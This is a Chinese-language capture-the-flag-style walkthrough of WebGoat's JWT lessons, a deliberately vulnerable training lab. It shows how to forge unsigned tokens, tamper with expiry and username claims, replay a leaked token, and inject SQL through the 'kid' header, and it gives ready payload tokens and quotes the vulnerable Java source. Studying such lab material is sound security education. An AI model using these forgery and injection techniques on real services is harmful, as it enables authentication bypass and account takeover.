JWT 数字签名验证 漏洞复现
准备工作
概述
JSON Web Token (JWT) 是一个开放标准 ( RFC 7519 ),它定义了一种紧凑且自包含的方式,用于在各方之间以 JSON 对象的形式安全传输信息。
此信息可以验证和信任,因为它是数字签名的。JWT 可以使用密钥(使用HMAC算法)或使用RSA或ECDSA的公钥/私钥对进行签名。
JWT通常分为三部分:
头部(Header),声明(Claims),签名(Signature)
三个部分以英文句号.隔开
JWT的内容以Base64URL编码的形式存在
靶场搭建
项目地址: https://hub.docker.com/r/webgoat/webgoat-8.0/
拉取:docker pull webgoat/webgoat-8.0
启动:docker run -p 映射端口:8080 -t webgoat/webgoat-8.0
准备工具
jwt在线解密:https://jwt.io/
时间戳生成网址:https://tool.chinaz.com/tools/unixtime.aspx
访问地址
第四关
摘要
一个重要的步骤是在执行任何其他操作之前验证签名,让我们尝试查看在验证令牌之前需要注意的一些事项。
任务
尝试更改您收到的令牌并通过更改令牌成为管理员用户,一旦您成为管理员,请重置投票
- 这是一个投票系统,我们点击重置投票,进行抓包
- 通过抓包重发,我们得到一串经由JWT技术加密后的身份信息
JWT特征:算法+有效载荷(数据)+验证签名(密码)
- 讲数据放进JWT在线解密平台进行验证
观察解密右侧信息,依次对应现在请求包的用户信息
- 尝试更改用户名,admin身份改为ture
这里更改时 要注意时间戳
**pyload: **eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2NTcwNjk4MDksImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.
- 拦截请求包重放,使数据更改(垂直越权)
通过Tom用户,更改请求信息,使tom用户拥有admin的权限,使投票刷新
第五关
摘要
使用带有 SHA-2 功能的 HMAC,您可以使用密钥来签署和验证令牌。一旦我们找出这个密钥,我们就可以创建一个新的令牌并对其进行签名。因此,密钥足够强大非常重要,因此暴力或字典攻击是不可行的。获得令牌后,您可以开始离线暴力破解或字典攻击。
任务
鉴于我们有以下令牌,尝试找出密钥并提交一个将用户名更改为 WebGoat 的新密钥。
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY1NjIwNTczNSwiZXhwIjoxNjU2MjA1Nzk1LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.HpiCjMv9dJKS1aLRzGmsQEdUZDWOlzRHf5mnCX6_uNM
- 通过JWT在线解密平台查看
- 观察上图,我们尝试更改tom的值为WebGoat
payload:
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY1NjIwNTczNSwiZXhwIjoxNzU2MjA1Nzk1LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0Lm9yZyIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.
第五关,生成JWT验证令牌时需注意一下几点:
- 更改用户名为WebGoat
- 更改exp时间戳为当前系统时间之后(有时间验证)
- 验证签名,即密码为空,我们只用复制算法和有效数据就好了
第七关
摘要
实施一个好的策略来刷新访问令牌是很重要的。此作业基于在 Bugcrowd 上的私人错误赏金计划中发现的漏洞,您可以在此处阅读完整的文章
任务
由于去年的违规行为,此处提供了以下日志文件 你能找到一种方法来订购书籍但让汤姆为它们付费吗?
- 查看日志文件
通过观察日志文件,这是一串tom在2016年的一份JWT加密形式的身份令牌
- 综上我们可以利用这一串令牌,为tom创建一个新的权限
通过BP抓包可以看到请求包中,有一信息,授权书为空。我们将日志里的身份修改时间戳代入这里
- 用修改过后的payload 带入bp中,并重放包
Payload:
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTgyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.
- 完成任务!
第八关
摘要
任务
下面您会看到两个帐户,一个是 Jerry,一个是 Tom。Jerry 想从 Twitter 上删除 Toms 的帐户,但他的令牌只能删除他自己的帐户。你能试着帮助他并删除汤姆斯的账户吗?
- 对删除Tom的包进行抓包
原始Token内容
#Token:
leSIsImFsZyI6IkhTMjU2In0.
eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQs
ImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJy
eUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5
QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.
CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8
HEADER:ALGORITHM & TOKEN TYPE
{
"typ": "JWT",
"kid": "webgoat_key",
"alg": "HS256"
}
PAYLOAD:DATA
8
{
"iss": "WebGoat Token Builder",
"iat": 1524210904,
"exp": 1618905304,
"aud": "webgoat.org",
"sub": "[email protected]",
"username": "Jerry",
"Email": "[email protected]",
"Role": [
"Cat"
]
}
VERIFY SIGNATURE
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
) secret base64 encoded
- 观察源码
从下面源码进行分析,可以看到JWT的签名验证是从数据库中读取的,但是获取数据库盐的值的地方传入的参数kid并没有进行任何的过滤,这样就可以使用注入来伪造一个JWT的签名,从而达到伪造目的
AttackResult resetVotes(@RequestParam("token") String token) {
if (StringUtils.isEmpty(token)) {
return trackProgress(failed().feedback("jwt-invalid-token").build());
} else {
try {
final String[] errorMessage = {null};
Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
@Override
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
final String kid = (String) header.get("kid");
try {
Connection connection = DatabaseUtilities.getConnection(webSession);
ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
while (rs.next()) {
return TextCodec.BASE64.decode(rs.getString(1));
}
} catch (SQLException e) {
errorMessage[0] = e.getMessage();
}
return null;
}
}).parse(token);
if (errorMessage[0] != null) {
return trackProgress(failed().output(errorMessage[0]).build());
}
Claims claims = (Claims) jwt.getBody();
String username = (String) claims.get("username");
if ("Jerry".equals(username)) {
return trackProgress(failed().feedback("jwt-final-jerry-account").build());
}
if ("Tom".equals(username)) {
return trackProgress(success().build());
} else {
return trackProgress(failed().feedback("jwt-final-not-tom").build());
}
} catch (JwtException e) {
return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build());
}
}
}
- Token构造查询语句,更改身份为Tom
"'; select 'MQ==' from jwt_keys --"
- 利用前提:
- 利用SQL注入,构造查询语句
- 更改用户名为Tom (这一关中,只能自己删自己)
- 验证签名更改为1 与 sql语句联动
Payload:
eyJ0eXAiOiJKV1QiLCJraWQiOiInOyBzZWxlY3QgJ01RPT0nIGZyb20gand0X2tleXMgLS0iLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTY1NjIxMTA4OCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.cOM5Nv_5Tpjj7eqadQRRFfPv2Rn8zRRisJoQIe1JJ7g
- 重新发包完成